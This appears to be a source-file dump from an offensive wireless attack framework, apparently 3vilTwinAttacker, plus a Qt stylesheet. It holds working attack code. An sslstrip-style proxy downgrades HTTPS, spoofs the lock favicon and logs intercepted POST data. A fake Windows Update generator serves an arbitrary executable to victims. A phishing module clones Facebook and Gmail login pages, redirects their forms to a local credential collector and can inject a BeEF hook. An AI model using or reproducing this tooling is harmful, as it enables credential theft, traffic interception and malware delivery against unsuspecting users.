ServerConnectionFactory 31 | from ServerConnection import ServerConnection 32 | from SSLServerConnection import SSLServerConnection 33 | from URLMonitor import URLMonitor 34 | from CookieCleaner import CookieCleaner 35 | from DnsCache import DnsCache 36 | 37 | def NUEVO_LOG(str): 38 | return 39 | 40 | class ClientRequest(Request): 41 | 42 | ''' This class represents incoming client requests and is essentially where 43 | the magic begins. Here we remove the client headers we dont like, and then 44 | respond with either favicon spoofing, session denial, or proxy through HTTP 45 | or SSL to the server. 46 | ''' 47 | 48 | def __init__(self, channel, queued, reactor=reactor): 49 | Request.__init__(self, channel, queued) 50 | self.reactor = reactor 51 | self.urlMonitor = URLMonitor.getInstance() 52 | self.cookieCleaner = CookieCleaner.getInstance() 53 | self.dnsCache = DnsCache.getInstance() 54 | # self.uniqueId = random.randint(0, 10000) 55 | 56 | def cleanHeaders(self): 57 | headers = self.getAllHeaders().copy() 58 | if 'accept-encoding' in headers: 59 | del headers['accept-encoding'] 60 | 61 | if 'referer' in headers: 62 | real = self.urlMonitor.real 63 | if len(real)>0: 64 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 65 | headers['referer'] = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), headers['referer']) 66 | 67 | if 'if-modified-since' in headers: 68 | del headers['if-modified-since'] 69 | 70 | if 'cache-control' in headers: 71 | del headers['cache-control'] 72 | 73 | if 'if-none-match' in headers: 74 | del headers['if-none-match'] 75 | 76 | if 'host' in headers: 77 | host = self.urlMonitor.URLgetRealHost("%s"%headers['host']) 78 | logging.debug("Modifing HOST header: %s -> %s"%(headers['host'],host)) 79 | headers['host'] = host 80 | #headers['securelink'] = '1' 81 | self.setHeader('Host',host) 82 | 83 | return headers 84 | 85 | def getPathFromUri(self): 86 | if (self.uri.find("http://") == 0): 87 | index = self.uri.find('/', 7) 88 | return self.uri[index:] 89 | 90 | return self.uri 91 | 92 | 93 | def getPathToLockIcon(self): 94 | if os.path.exists("lock.ico"): return "lock.ico" 95 | 96 | scriptPath = os.path.abspath(os.path.dirname(sys.argv[0])) 97 | scriptPath = os.path.join(scriptPath, "../share/sslstrip/lock.ico") 98 | 99 | if os.path.exists(scriptPath): return scriptPath 100 | 101 | logging.warning("Error: Could not find lock.ico") 102 | return "lock.ico" 103 | 104 | def save_req(self,lfile,str): 105 | f = open(lfile,"a") 106 | f.write(str) 107 | f.close() 108 | 109 | def handleHostResolvedSuccess(self, address): 110 | headers = self.cleanHeaders() 111 | # for header in headers: 112 | # logging.debug("HEADER %s = %s",header,headers[header]) 113 | logging.debug("Resolved host successfully: %s -> %s" % (self.getHeader('host').lower(), address)) 114 | lhost = self.getHeader("host").lower() 115 | host = self.urlMonitor.URLgetRealHost("%s"%lhost) 116 | client = self.getClientIP() 117 | path = self.getPathFromUri() 118 | self.content.seek(0,0) 119 | postData = self.content.read() 120 | real = self.urlMonitor.real 121 | patchDict = self.urlMonitor.patchDict 122 | 123 | if len(real)>0: 124 | dregex = re.compile("(%s)" % "|".join(map(re.escape, real.keys()))) 125 | path = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), path) 126 | postData = dregex.sub(lambda x: str(real[x.string[x.start() :x.end()]]), postData) 127 | if len(patchDict)>0: 128 | dregex = re.compile("(%s)" % "|".join(map(re.escape, patchDict.keys()))) 129 | postData = dregex.sub(lambda x: str(patchDict[x.string[x.start() :x.end()]]), postData) 130 | 131 | url = 'http://' + host + path 132 | headers['content-length']="%d"%len(postData) 133 | 134 | self.dnsCache.cacheResolution(host, address) 135 | if (not self.cookieCleaner.isClean(self.method, client, host, headers)): 136 | logging.debug("Sending expired cookies...") 137 | self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, 138 | host, headers, path)) 139 | elif (self.urlMonitor.isSecureFavicon(client, path)): 140 | logging.debug("Sending spoofed favicon response...") 141 | self.sendSpoofedFaviconResponse() 142 | elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): 143 | if 'securelink' in headers: 144 | del headers['securelink'] 145 | logging.debug("LEO Sending request via SSL...(%s %s)"%(client,url)) 146 | self.proxyViaSSL(address, self.method, path, postData, headers, 147 | self.urlMonitor.getSecurePort(client, url)) 148 | else: 149 | logging.debug("LEO Sending request via HTTP...") 150 | self.proxyViaHTTP(address, self.method, path, postData, headers) 151 | 152 | def handleHostResolvedError(self, error): 153 | logging.warning("Host resolution error: " + str(error)) 154 | self.finish() 155 | 156 | def resolveHost(self, host): 157 | address = self.dnsCache.getCachedAddress(host) 158 | 159 | if address != None: 160 | logging.debug("Host cached.") 161 | return defer.succeed(address) 162 | else: 163 | logging.debug("Host not cached.") 164 | return reactor.resolve(host) 165 | 166 | def process(self): 167 | host = self.urlMonitor.URLgetRealHost("%s"%self.getHeader('host')) 168 | logging.debug("Resolving host: %s" % host) 169 | deferred = self.resolveHost(host) 170 | 171 | deferred.addCallback(self.handleHostResolvedSuccess) 172 | deferred.addErrback(self.handleHostResolvedError) 173 | 174 | def proxyViaHTTP(self, host, method, path, postData, headers): 175 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 176 | self.save_req("debug_ssl.log",method+' http://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 177 | connectionFactory.protocol = ServerConnection 178 | self.reactor.connectTCP(host, 80, connectionFactory) 179 | 180 | def proxyViaSSL(self, host, method, path, postData, headers, port): 181 | self.save_req("debug_ssl.log",method+' https://'+host+path+'\n'+str(headers)+'\n'+postData+'\n') 182 | clientContextFactory = ssl.ClientContextFactory() 183 | connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) 184 | connectionFactory.protocol = SSLServerConnection 185 | self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) 186 | 187 | def sendExpiredCookies(self, host, path, expireHeaders): 188 | self.setResponseCode(302, "Moved") 189 | self.setHeader("Connection", "close") 190 | self.setHeader("Location", "http://" + host + path) 191 | 192 | for header in expireHeaders: 193 | self.setHeader("Set-Cookie", header) 194 | 195 | self.finish() 196 | 197 | def sendSpoofedFaviconResponse(self): 198 | icoFile = open(self.getPathToLockIcon()) 199 | 200 | self.setResponseCode(200, "OK") 201 | self.setHeader("Content-type", "image/x-icon") 202 | self.write(icoFile.read()) 203 | 204 | icoFile.close() 205 | self.finish() 206 | -------------------------------------------------------------------------------- /Modules/ModuleUpdateFake.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from os import getcwd,popen,chdir,walk,path,remove,stat,getuid 20 | from Modules.ModuleStarvation import frm_dhcp_Attack 21 | from Modules.utils import Refactor 22 | from Core.Settings import frm_Settings 23 | from re import search 24 | from shutil import copyfile 25 | from subprocess import Popen,PIPE,STDOUT 26 | threadloading = {'server':[]} 27 | 28 | class mThreadServer(QThread): 29 | def __init__(self,cmd): 30 | QThread.__init__(self) 31 | self.cmd = cmd 32 | self.process = None 33 | 34 | def run(self): 35 | popen("service apache2 stop") 36 | print "Starting Thread:" + self.objectName() 37 | self.process = p = Popen(self.cmd, 38 | stdout=PIPE, 39 | stderr=STDOUT) 40 | for line,data in enumerate(iter(p.stdout.readline, b'')): 41 | self.emit(SIGNAL("Activated( QString )"),data.rstrip()) 42 | 43 | def stop(self): 44 | print "Stop thread:" + self.objectName() 45 | if self.process is not None: 46 | self.process.terminate() 47 | self.process = None 48 | 49 | class frm_update_attack(QMainWindow): 50 | def __init__(self, parent=None): 51 | super(frm_update_attack, self).__init__(parent) 52 | self.form_widget = frm_WinSoftUp(self) 53 | self.setCentralWidget(self.form_widget) 54 | self.setWindowTitle("Windows Update Attack Generator ") 55 | self.setWindowIcon(QIcon('rsc/icon.ico')) 56 | self.config = frm_Settings() 57 | self.loadtheme(self.config.XmlThemeSelected()) 58 | 59 | def loadtheme(self,theme): 60 | sshFile=("Core/%s.qss"%(theme)) 61 | with open(sshFile,"r") as fh: 62 | self.setStyleSheet(fh.read()) 63 | 64 | def closeEvent(self, event): 65 | reply = QMessageBox.question(self, 'About Exit',"Are you sure to quit?", QMessageBox.Yes | 66 | QMessageBox.No, QMessageBox.No) 67 | if reply == QMessageBox.Yes: 68 | event.accept() 69 | global threadloading 70 | for i in threadloading['server']: 71 | i.stop() 72 | else: 73 | event.ignore() 74 | 75 | class frm_WinSoftUp(QWidget): 76 | def __init__(self, parent=None): 77 | super(frm_WinSoftUp, self).__init__(parent) 78 | self.Main = QVBoxLayout() 79 | self.control = None 80 | self.path_file = None 81 | self.owd = getcwd() 82 | global threadloading 83 | self.GUI() 84 | def GUI(self): 85 | self.form = QFormLayout(self) 86 | self.grid = QGridLayout(self) 87 | self.grid1 = QGridLayout(self) 88 | self.path = QLineEdit(self) 89 | self.logBox = QListWidget(self) 90 | self.path.setFixedWidth(400) 91 | self.status = QStatusBar(self) 92 | self.status.setFixedHeight(15) 93 | #combobox 94 | self.cb_interface = QComboBox(self) 95 | self.refresh_interface(self.cb_interface) 96 | 97 | #label 98 | self.lb_interface = QLabel("Network Adapter:") 99 | # buttons 100 | self.btn_open = QPushButton("...") 101 | self.btn_stop = QPushButton("Stop",self) 102 | self.btn_reload = QPushButton("refresh",self) 103 | self.btn_start_server = QPushButton("Start Server",self) 104 | # size 105 | self.btn_open.setMaximumWidth(90) 106 | self.btn_stop.setFixedHeight(50) 107 | self.btn_start_server.setFixedHeight(50) 108 | #icons 109 | self.btn_open.setIcon(QIcon("rsc/open.png")) 110 | self.btn_stop.setIcon(QIcon("rsc/Stop.png")) 111 | self.btn_reload.setIcon(QIcon("rsc/refresh.png")) 112 | self.btn_start_server.setIcon(QIcon("rsc/server.png")) 113 | 114 | # connect buttons 115 | self.btn_open.clicked.connect(self.getpath) 116 | self.btn_reload.clicked.connect(self.inter_get) 117 | self.btn_start_server.clicked.connect(self.server_start) 118 | self.btn_stop.clicked.connect(self.stop_attack) 119 | 120 | 121 | # radionButton 122 | self.rb_windows = QRadioButton("Windows Update",self) 123 | self.rb_windows.setIcon(QIcon("rsc/winUp.png")) 124 | self.rb_adobe = QRadioButton("Adobe Update", self) 125 | self.rb_adobe.setIcon(QIcon("rsc/adobe.png")) 126 | self.rb_adobe.setEnabled(False) 127 | self.rb_java = QRadioButton("Java Update", self) 128 | self.rb_java.setEnabled(False) 129 | self.rb_java.setIcon(QIcon("rsc/java.png")) 130 | self.grid.addWidget(self.rb_windows, 0,1) 131 | self.grid.addWidget(self.rb_adobe, 0,2) 132 | self.grid.addWidget(self.rb_java, 0,3) 133 | 134 | # check interface 135 | self.grid.addWidget(self.lb_interface,1,1) 136 | self.grid.addWidget(self.cb_interface,1,2) 137 | self.grid.addWidget(self.btn_reload, 1,3) 138 | 139 | #grid 2 140 | self.grid1.addWidget(self.btn_start_server,0,2) 141 | self.grid1.addWidget(self.btn_stop,0,4) 142 | 143 | #form add layout 144 | self.form.addRow(self.path,self.btn_open) 145 | self.form.addRow(self.grid) 146 | self.form.addRow(self.grid1) 147 | self.form.addRow(self.logBox) 148 | self.form.addRow(self.status) 149 | self.Main.addLayout(self.form) 150 | self.setLayout(self.Main) 151 | 152 | def stop_attack(self): 153 | for i in threadloading['server']:i.stop() 154 | threadloading['server'] = [] 155 | if path.isfile("Modules/Templates/Windows_Update/index.html"): 156 | remove("Modules/Templates/Windows_Update/index.html") 157 | if path.isfile("Modules/Templates/Windows_Update/windows-update.exe"): 158 | remove("Modules/Templates/Windows_Update/windows-update.exe") 159 | QMessageBox.information(self,"Clear Setting", "log cLear success ") 160 | self.logBox.clear() 161 | self.status.showMessage("") 162 | 163 | def inter_get(self): 164 | self.refresh_interface(self.cb_interface) 165 | 166 | def refresh_interface(self,cb): 167 | cb.clear() 168 | n = Refactor.get_interfaces()['all'] 169 | for i,j in enumerate(n): 170 | if n[i] != "": 171 | cb.addItem(n[i]) 172 | 173 | def logPhising(self,log): 174 | self.logBox.addItem(log) 175 | 176 | def server_start(self): 177 | if len(self.path.text()) <= 0: 178 | QMessageBox.information(self, "Path file Error", "Error in get the file path.") 179 | else: 180 | if self.rb_windows.isChecked(): 181 | directory = "Modules/Templates/Windows_Update/" 182 | try: 183 | if path.isfile(directory+"windows-update.exe"): 184 | remove(directory+"windows-update.exe") 185 | copyfile(self.path_file,directory+"windows-update.exe") 186 | except OSError,e: 187 | print e 188 | if not getuid() != 0: 189 | file_html = open("Modules/Templates/Settings_WinUpdate.html","r").read() 190 | settings_html = file_html.replace("KBlenfile", str(self.getSize(self.path_file))+"KB") 191 | if path.isfile(directory+"index.html"): 192 | remove(directory+"index.html") 193 | confFile = open(directory+"index.html","w") 194 | confFile.write(settings_html) 195 | confFile.close() 196 | self.threadServer(directory) 197 | else: 198 | QMessageBox.information(self, "Permission Denied", 'the Tool must be run as root try again.') 199 | self.logBox.clear() 200 | if path.isfile(directory+"windows-update.exe"): 201 | remove(directory+"windows-update.exe") 202 | 203 | def threadServer(self,directory): 204 | ip = Refactor.get_ip_local(self.cb_interface.currentText()) 205 | try: 206 | chdir(directory) 207 | except OSError: 208 | pass 209 | global threadloading 210 | self.thphp = mThreadServer(("php -S %s:80"%(ip)).split()) 211 | self.connect(self.thphp,SIGNAL("Activated ( QString ) "),self.logPhising) 212 | threadloading['server'].append(self.thphp) 213 | self.thphp.setObjectName("Server-PHP") 214 | self.thphp.start() 215 | self.status.showMessage("::Started >> [HTTP::"+ip+" ::Port 80]") 216 | 217 | def getpath(self): 218 | files_types = "exe (*.exe);;jar (*.jar)" 219 | file = QFileDialog.getOpenFileName(self, 'Open Executable file','',files_types) 220 | if len(file) > 0: 221 | self.path_file = file 222 | self.path.setText(file) 223 | 224 | def getSize(self,filename): 225 | st = stat(filename) 226 | return st.st_size -------------------------------------------------------------------------------- /Modules/ModuleTemplates.py: -------------------------------------------------------------------------------- 1 | #The MIT License (MIT) 2 | #Copyright (c) 2015-2016 mh4x0f P0cL4bs Team 3 | #Permission is hereby granted, free of charge, to any person obtaining a copy of 4 | #this software and associated documentation files (the "Software"), to deal in 5 | #the Software without restriction, including without limitation the rights to 6 | #use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 7 | #the Software, and to permit persons to whom the Software is furnished to do so, 8 | #subject to the following conditions: 9 | #The above copyright notice and this permission notice shall be included in all 10 | #copies or substantial portions of the Software. 11 | #THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 12 | #IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 13 | #FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 14 | #COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 15 | #IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 16 | #CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 17 | from PyQt4.QtGui import * 18 | from PyQt4.QtCore import * 19 | from Core.Settings import frm_Settings 20 | from Modules.utils import ProcessThread,Refactor,Beef_Hook_url 21 | from os import popen,chdir,getcwd,getuid,devnull 22 | from urllib2 import urlopen,URLError 23 | threadloading = {'template':[],'posion':[]} 24 | class frm_template(QDialog): 25 | def __init__(self, parent = None): 26 | super(frm_template, self).__init__(parent) 27 | self.label = QLabel() 28 | self.Main = QVBoxLayout(self) 29 | self.setGeometry(0, 0, 500, 100) 30 | self.center() 31 | self.control = None 32 | self.owd = getcwd() 33 | self.config = frm_Settings() 34 | self.loadtheme(self.config.XmlThemeSelected()) 35 | global threadloading 36 | self.gui_temp() 37 | 38 | def loadtheme(self,theme): 39 | sshFile=("Core/%s.qss"%(theme)) 40 | with open(sshFile,"r") as fh: 41 | self.setStyleSheet(fh.read()) 42 | 43 | def center(self): 44 | frameGm = self.frameGeometry() 45 | centerPoint = QDesktopWidget().availableGeometry().center() 46 | frameGm.moveCenter(centerPoint) 47 | self.move(frameGm.topLeft()) 48 | 49 | def gui_temp(self): 50 | self.frm0 = QFormLayout(self) 51 | self.frm1 = QFormLayout(self) 52 | self.check_face = QCheckBox('Facebook') 53 | self.check_gmail = QCheckBox('Gmail') 54 | self.check_route = QCheckBox('Router') 55 | self.check_beef = QCheckBox('Beef') 56 | self.check_custom = QCheckBox('Custom Phishing') 57 | self.EditBeef = QLineEdit(self) 58 | self.EditBeef.setEnabled(False) 59 | 60 | self.txt_html = QTextEdit(self) 61 | self.txt_html.setPlainText('\n\n3vilTwinAttacker Phishing ' 62 | '\n\n\n' 63 | '\n

3vilTwinAttacker Framework

\n' 64 | '\n

this is demo Attack Redirect.

\n' 65 | '\n\n') 66 | self.txt_html.setEnabled(False) 67 | # connect buton 68 | self.check_face.clicked.connect(self.check_options) 69 | self.check_gmail.clicked.connect(self.check_options) 70 | self.check_route.clicked.connect(self.check_options) 71 | self.check_beef.clicked.connect(self.check_options) 72 | self.check_custom.clicked.connect(self.check_options) 73 | 74 | self.txt_redirect = QLineEdit(self) 75 | self.btn_start_template = QPushButton('Start Server HTTP') 76 | self.btn_start_template.clicked.connect(self.start_server) 77 | 78 | self.frm0.addRow(self.check_face) 79 | self.frm0.addRow(self.check_gmail) 80 | self.frm0.addRow(self.check_route) 81 | self.frm0.addRow(self.check_custom) 82 | h = QFrame(self) 83 | h.setSizePolicy(QSizePolicy.Minimum,QSizePolicy.Expanding) 84 | self.frm0.addRow(h) 85 | self.frm0.addRow(self.check_beef) 86 | self.frm0.addRow(QLabel('IP Redirect:'),self.txt_redirect) 87 | self.frm0.addRow("Beef Hook URL:",self.EditBeef) 88 | self.frm0.addRow(self.btn_start_template) 89 | 90 | layout = QHBoxLayout() 91 | layout.addWidget(self.txt_html) 92 | layout.addLayout(self.frm0) 93 | 94 | self.Main.addLayout(layout) 95 | self.setLayout(self.Main) 96 | 97 | @pyqtSlot(QModelIndex) 98 | def check_options(self,index): 99 | if self.check_face.isChecked(): 100 | self.check_route.setChecked(False) 101 | self.check_gmail.setChecked(False) 102 | elif self.check_gmail.isChecked(): 103 | self.check_face.setChecked(False) 104 | self.check_route.setChecked(False) 105 | else: 106 | self.check_face.setChecked(False) 107 | self.check_gmail.setChecked(False) 108 | 109 | if self.check_custom.isChecked(): 110 | self.txt_html.setEnabled(True) 111 | else: 112 | self.txt_html.setEnabled(False) 113 | if self.check_beef.isChecked(): 114 | self.EditBeef.setEnabled(True) 115 | else: 116 | self.EditBeef.setEnabled(False) 117 | 118 | def start_server(self): 119 | sock = None 120 | if self.check_face.isChecked(): 121 | url = 'http://facebook.com' 122 | try: 123 | sock = urlopen(url).read() 124 | self.control = 'facebook' 125 | except URLError, e: 126 | QMessageBox.information(self,'Error',"Server not found, can't find the server at focebook." + str(e)) 127 | elif self.check_gmail.isChecked(): 128 | try: 129 | sock = urlopen('http://accounts.google.com/Login?hl').read() 130 | self.control = 'gmail' 131 | except URLError,e: 132 | QMessageBox.information(self,'Error',"Server not found, can't find the server at google." + str(e)) 133 | elif self.check_route.isChecked(): 134 | self.control = 'route' 135 | elif self.check_custom.isChecked(): 136 | self.control = 'custom' 137 | else: 138 | QMessageBox.information(self,'Error','checkbox not checked.') 139 | 140 | if self.control != None: 141 | self.phishing_page(self.control,sock) 142 | if not len(threadloading['template']) == 0: 143 | self.deleteLater() 144 | def killThread(self): 145 | for i in threadloading['template']: 146 | i.stop(),i.join() 147 | def phishing_page(self,choice,sock): 148 | if choice == 'facebook': 149 | path = 'Modules/Phishing/Facebook/' 150 | try: 151 | chdir(path) 152 | except OSError,e: 153 | return None 154 | self.html = sock.replace('https://www.facebook.com/login.php?login_attempt=1', 'login.php') 155 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 156 | self.hook = ''%self.EditBeef.text() 157 | html_final = Beef_Hook_url(self.html,self.hook) 158 | if html_final != None: 159 | self.html = html_final 160 | else: QMessageBox.information(self,'Error Hook Inject Page', 161 | 'Hook Url not injected, not found tag ""') 162 | with open('index.html','w') as f: 163 | f.write(str(self.html)) 164 | f.close() 165 | elif choice == 'route': 166 | path = 'Modules/Phishing/Route/' 167 | chdir(path) 168 | elif choice == 'custom': 169 | path = 'Modules/Phishing/Custom/' 170 | chdir(path) 171 | self.html = self.txt_html.toPlainText() 172 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 173 | self.hook = ''%self.EditBeef.text() 174 | html_final = Beef_Hook_url(self.html,self.hook) 175 | if html_final != None: 176 | self.html = html_final 177 | else: QMessageBox.information(self,'Error Hook Inject Page', 178 | 'Hook Url not injected, not found tag ') 179 | with open('index.html','w') as f: 180 | f.write(str(self.html)) 181 | f.close() 182 | elif choice == 'gmail': 183 | path = 'Modules/Phishing/Gmail/' 184 | try: 185 | chdir(path) 186 | request = urlopen('http://accounts.google.com/Login?hl').read() 187 | self.html = request.replace('//ssl.gstatic.com/accounts/ui/','') 188 | self.html = request.replace('https://accounts.google.com/ServiceLoginAuth','login.php') 189 | if self.check_beef.isChecked() and len(self.EditBeef.text()) != 0: 190 | self.hook = ''%self.EditBeef.text() 191 | html_final = Beef_Hook_url(self.html,self.hook) 192 | if html_final != None: 193 | self.html = html_final 194 | else: QMessageBox.information(self,'Error Hook Inject Page', 195 | 'Hook Url not injected, not found tag ""') 196 | with open('index.html','w') as f: 197 | f.write(str(self.html)) 198 | f.close() 199 | except OSError,e: 200 | return None 201 | 202 | ip = str(self.txt_redirect.text()) 203 | popen('service apache2 stop') 204 | if ip != None: 205 | Tphishing = ProcessThread(['php', '-S',ip+':80']) 206 | Tphishing.setName('Phishing:'+choice) 207 | threadloading['template'].append(Tphishing) 208 | Tphishing.start() 209 | self.emit(SIGNAL('Activated( QString )'),'started') 210 | else: 211 | QMessageBox.information(self,'Connection','Ipaddress not found') 212 | -------------------------------------------------------------------------------- /Core/theme1.qss: -------------------------------------------------------------------------------- 1 | QToolTip 2 | { 3 | border: 1px solid black; 4 | background-color: #ffa02f; 5 | padding: 1px; 6 | border-radius: 3px; 7 | opacity: 100; 8 | } 9 | 10 | QWidget 11 | { 12 | color: #b1b1b1; 13 | background-color: #323232; 14 | } 15 | 16 | QWidget:item:hover 17 | { 18 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619); 19 | color: #000000; 20 | } 21 | 22 | QWidget:item:selected 23 | { 24 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 25 | } 26 | 27 | QMenuBar::item 28 | { 29 | background: transparent; 30 | } 31 | 32 | QMenuBar::item:selected 33 | { 34 | background: transparent; 35 | border: 1px solid #ffaa00; 36 | } 37 | 38 | QMenuBar::item:pressed 39 | { 40 | background: #444; 41 | border: 1px solid #000; 42 | background-color: QLinearGradient( 43 | x1:0, y1:0, 44 | x2:0, y2:1, 45 | stop:1 #212121, 46 | stop:0.4 #343434/*, 47 | stop:0.2 #343434, 48 | stop:0.1 #ffaa00*/ 49 | ); 50 | margin-bottom:-1px; 51 | padding-bottom:1px; 52 | } 53 | 54 | QMenu 55 | { 56 | border: 1px solid #000; 57 | } 58 | 59 | QMenu::item 60 | { 61 | padding: 2px 20px 2px 20px; 62 | } 63 | 64 | QMenu::item:selected 65 | { 66 | color: #000000; 67 | } 68 | 69 | QWidget:disabled 70 | { 71 | color: #404040; 72 | background-color: #323232; 73 | } 74 | 75 | QAbstractItemView 76 | { 77 | background-color: QLinearGradient( x1: 1, y1: 5, x2: 0, y2: 2, stop: 0 #2F2D2D, stop: 0.1 #2F2D2D, stop: 1 #2F2D2D); 78 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 79 | } 80 | 81 | QWidget:focus 82 | { 83 | /*border: 0px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 0, stop: 0 #ffa02f, stop: 0 #d7801a);*/ 84 | } 85 | 86 | QLineEdit 87 | { 88 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #4d4d4d, stop: 0 #646464, stop: 1 #5d5d5d); 89 | padding: 1px; 90 | border-style: solid; 91 | border: 1px solid #1e1e1e; 92 | border-radius: 5; 93 | } 94 | 95 | QPushButton 96 | { 97 | color: #b1b1b1; 98 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); 99 | border-width: 1px; 100 | border-color: #1e1e1e; 101 | border-style: solid; 102 | border-radius: 6; 103 | padding: 3px; 104 | font-size: 12px; 105 | padding-left: 5px; 106 | padding-right: 5px; 107 | } 108 | 109 | QPushButton:pressed 110 | { 111 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #2d2d2d, stop: 0.1 #2b2b2b, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); 112 | } 113 | 114 | QComboBox 115 | { 116 | selection-background-color: #ffaa00; 117 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #565656, stop: 0.1 #525252, stop: 0.5 #4e4e4e, stop: 0.9 #4a4a4a, stop: 1 #464646); 118 | border-style: solid; 119 | border: 1px solid #1e1e1e; 120 | border-radius: 2; 121 | height: 20px; 122 | width: 100px 123 | } 124 | 125 | QComboBox:hover,QPushButton:hover 126 | { 127 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 128 | } 129 | 130 | 131 | QComboBox:on 132 | { 133 | padding-top: 1px; 134 | padding-left: 1px; 135 | background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #3D3D3D, stop: 0.1 #3D3D3D, stop: 0.5 #292929, stop: 0.9 #282828, stop: 1 #252525); 136 | selection-background-color: #ffaa00; 137 | } 138 | 139 | QComboBox QAbstractItemView 140 | { 141 | /*border: 2px solid darkgray;*/ 142 | selection-background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 143 | } 144 | 145 | QComboBox::drop-down 146 | { 147 | subcontrol-origin: padding; 148 | subcontrol-position: top right; 149 | width: 15px; 150 | border-left-width: 0px; 151 | /*border-left-color: darkgray;*/ 152 | border-left-style: solid; /* just a single line */ 153 | border-top-right-radius: 3px; /* same radius as the QComboBox */ 154 | border-bottom-right-radius: 3px; 155 | } 156 | 157 | QComboBox::down-arrow 158 | { 159 | image: url(rsc/down_arrow.png); 160 | } 161 | 162 | QGroupBox:focus 163 | { 164 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 165 | } 166 | 167 | QTextEdit:focus 168 | { 169 | border: 2px solid QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a); 170 | } 171 | 172 | QScrollBar:horizontal { 173 | border: 1px solid #222222; 174 | background: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0.0 #121212, stop: 0.2 #282828, stop: 1 #484848); 175 | height: 7px; 176 | margin: 0px 16px 0 16px; 177 | } 178 | 179 | QScrollBar::handle:horizontal 180 | { 181 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 0.5 #d7801a, stop: 1 #ffa02f); 182 | min-height: 20px; 183 | border-radius: 2px; 184 | } 185 | 186 | QScrollBar::add-line:horizontal { 187 | border: 1px solid #1b1b19; 188 | border-radius: 2px; 189 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); 190 | width: 14px; 191 | subcontrol-position: right; 192 | subcontrol-origin: margin; 193 | } 194 | 195 | QScrollBar::sub-line:horizontal { 196 | border: 1px solid #1b1b19; 197 | border-radius: 2px; 198 | background: QLinearGradient( x1: 0, y1: 0, x2: 1, y2: 0, stop: 0 #ffa02f, stop: 1 #d7801a); 199 | width: 14px; 200 | subcontrol-position: left; 201 | subcontrol-origin: margin; 202 | } 203 | 204 | QScrollBar::right-arrow:horizontal, QScrollBar::left-arrow:horizontal 205 | { 206 | border: 1px solid black; 207 | width: 1px; 208 | height: 1px; 209 | background: white; 210 | } 211 | 212 | QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal 213 | { 214 | background: none; 215 | } 216 | 217 | QScrollBar:vertical 218 | { 219 | background: QLinearGradient( 